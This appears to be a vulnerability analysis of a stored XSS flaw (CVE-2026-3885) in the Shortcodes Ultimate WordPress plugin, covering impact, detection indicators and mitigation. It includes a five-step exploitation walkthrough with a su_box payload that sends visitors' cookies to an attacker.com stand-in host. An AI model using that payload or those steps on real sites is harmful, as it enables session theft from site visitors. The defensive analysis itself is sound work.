CVE-2026-3885: 
WordPress vulnerability analysis and mitigation

CVE-2026-3885 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Shortcodes Plugin — Shortcodes Ultimate plugin for WordPress. It affects all versions up to and including 7.4.9, where insufficient input sanitization and output escaping on user-supplied attributes in the su_box shortcode allow authenticated attackers with contributor-level access or above to inject arbitrary web scripts. The vulnerability was disclosed on April 15–16, 2026, with the CVE assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium), as assessed by Wordfence (Github Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically a failure to sanitize user-supplied attributes passed to the su_box shortcode before rendering them in page output (Github Advisory). An authenticated attacker with at least contributor-level WordPress access can craft a post or page containing a malicious [su_box] shortcode with injected JavaScript in its attributes. The injected script is stored server-side and executes in the browser of any user who subsequently visits the affected page, making this a persistent (stored) XSS attack. No special configuration is required beyond having contributor-level access on the target WordPress site (Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers whenever they visit an injected page, resulting in low-level confidentiality and integrity impacts. Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or delivery of further malware payloads to site visitors. While availability is not directly impacted, the scope change (S:C) means the injected scripts can affect users and resources beyond the plugin's own security boundary (Github Advisory, Wordfence).

There is no evidence of a public proof-of-concept exploit or active in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.01% (2nd percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the WP Shortcodes Plugin — Shortcodes Ultimate plugin at version 7.4.9 or earlier. This can be done by checking the plugin's readme.txt file (e.g., /wp-content/plugins/shortcodes-ultimate/readme.txt) or using web fingerprinting tools.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a [su_box] shortcode with a malicious JavaScript payload embedded in one of its attributes, for example: [su_box title="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]Content[/su_box].
4. Submit for publication: Save or submit the post. If the attacker only has contributor access, the post may require editor/admin approval before publishing; if editor or above, it can be published directly.
5. Trigger execution: When any authenticated or unauthenticated user visits the page containing the injected shortcode, the malicious script executes in their browser, potentially stealing session cookies, credentials, or performing other malicious actions (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing su_box shortcode content with encoded or raw script tags (<script>, javascript:, onerror=, etc.).
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing [su_box] shortcodes with embedded JavaScript payloads.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing [su_box] shortcodes; unusual traffic to attacker-controlled endpoints for cookie or credential harvesting.
• Application: Browser console errors or unexpected redirects reported by users visiting specific WordPress pages; anomalous JavaScript execution originating from shortcode-rendered content.

Upgrade the WP Shortcodes Plugin — Shortcodes Ultimate to a version newer than 7.4.9, which includes the fix applied in changeset 3489360 (Plugin Changeset). As an interim measure, restrict contributor-level access to only fully trusted users, or disable the su_box shortcode functionality until the plugin is updated. Site administrators should also audit existing posts and pages for any [su_box] shortcodes containing suspicious attribute values (Wordfence).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for April 13–19, 2026, as part of their routine threat intelligence coverage (Wordfence Blog). Sucuri also referenced the vulnerability in their April 2026 vulnerability patch roundup (Sucuri Blog). No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability aggregation and reporting.